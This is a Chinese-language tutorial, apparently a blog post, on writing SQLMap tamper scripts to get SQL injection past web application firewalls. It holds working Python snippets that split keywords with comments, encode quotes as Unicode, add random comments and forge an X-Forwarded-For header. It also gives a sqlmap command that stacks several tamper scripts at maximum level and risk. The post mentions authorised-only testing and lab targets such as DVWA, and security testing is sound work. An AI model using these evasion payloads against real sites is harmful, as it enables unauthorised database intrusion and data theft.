一、Tamper脚本的核心价值

现代WAF通过正则匹配、语义分析和行为建模拦截SQL注入。Tamper脚本作为SQLMap的“请求变形器”,在三个层面实现绕过:

  1. 编码层‌:URL/Unicode/Base64编码混淆敏感字符(如base64encode.pySELECT转为Base64);
  2. 语法层‌:空格替换、关键字分割(如space2comment.py/**/替代空格);
  3. 协议层‌:HTTP头注入、分块传输干扰流量分析。

二、Tamper脚本编写实战

步骤1:基础结构

每个Tamper脚本需包含优先级声明、依赖项检查及核心篡改函数:


from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL # 控制多脚本执行顺序 def dependencies(): pass # 声明适用环境(如仅MySQL) def tamper(payload, **kwargs): if payload: payload = payload.replace("UNION", "UNI/**/ON") # 分割关键字绕过过滤 return payload

关键参数‌:

  • payload:原始注入语句
  • kwargs:数据库类型、注入点等元数据
步骤2:绕过常见WAF规则
  • 案例1:绕过单引号过滤
    使用Unicode编码替代单引号(如apostrophemask.py):

    
      
    payload = payload.replace("'", "%EF%BC%87") # 单引号 → Unicode

  • 案例2:混淆空格与函数名
    针对过滤SELECT * FROM的规则:

    
      
    payload = payload.replace(" ", "/**/") # 空格 → 注释 payload = payload.replace("DATABASE()", "DATA/**/BASE()") # 分割函数名

步骤3:组合脚本增强绕过

通过--tamper加载多脚本,形成分层混淆:


sqlmap -u "http://target.com/?id=1" --tamper="apostrophemask,space2comment,base64encode"

技巧‌:优先使用--level=5 --risk=3确保检测强度。


三、高级绕过策略

  1. 动态负载生成
    利用随机注释符干扰正则匹配(如randomcomments.py):

    
      
    def tamper(payload, **kwargs): return payload.replace("AND", "A/*{}*/ND".format(random.randstr(3)))

  2. 协议级绕过
    修改HTTP头伪装合法流量:

    
      
    headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = "127.0.0.1" # 伪造来源IP

  3. AI辅助绕过
    使用GAN生成拟态注入载荷,模拟正常业务流量特征。


四、测试环境与合规实践

  • 环境搭建‌:
    使用OWASP BWA或DVWA部署含WAF的靶场(如ModSecurity + CRS)。
  • 日志分析‌:
    通过--logs-dir保存请求日志,优化Tamper逻辑。
  • 合规要求‌:
    仅限授权测试‌,避免法律风险;测试后修复漏洞(如参数化查询)。

资源‌:

  • SQLMap官方Tamper脚本目录:/usr/share/sqlmap/tamper
  • 脚本开发模板:参考charencode.py编码逻辑

结语

Tamper脚本是绕过WAF的动态武器库,其核心在于‌理解WAF规则并针对性变形载荷‌。软件测试人员需持续关注WAF演进(如AI防御升级),通过攻防演练迭代脚本。

精选文章:

AI Test:AI 测试平台落地实践!

部署一套完整的 Prometheus+Grafana 智能监控告警系统

微服务架构下的契约测试实践

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐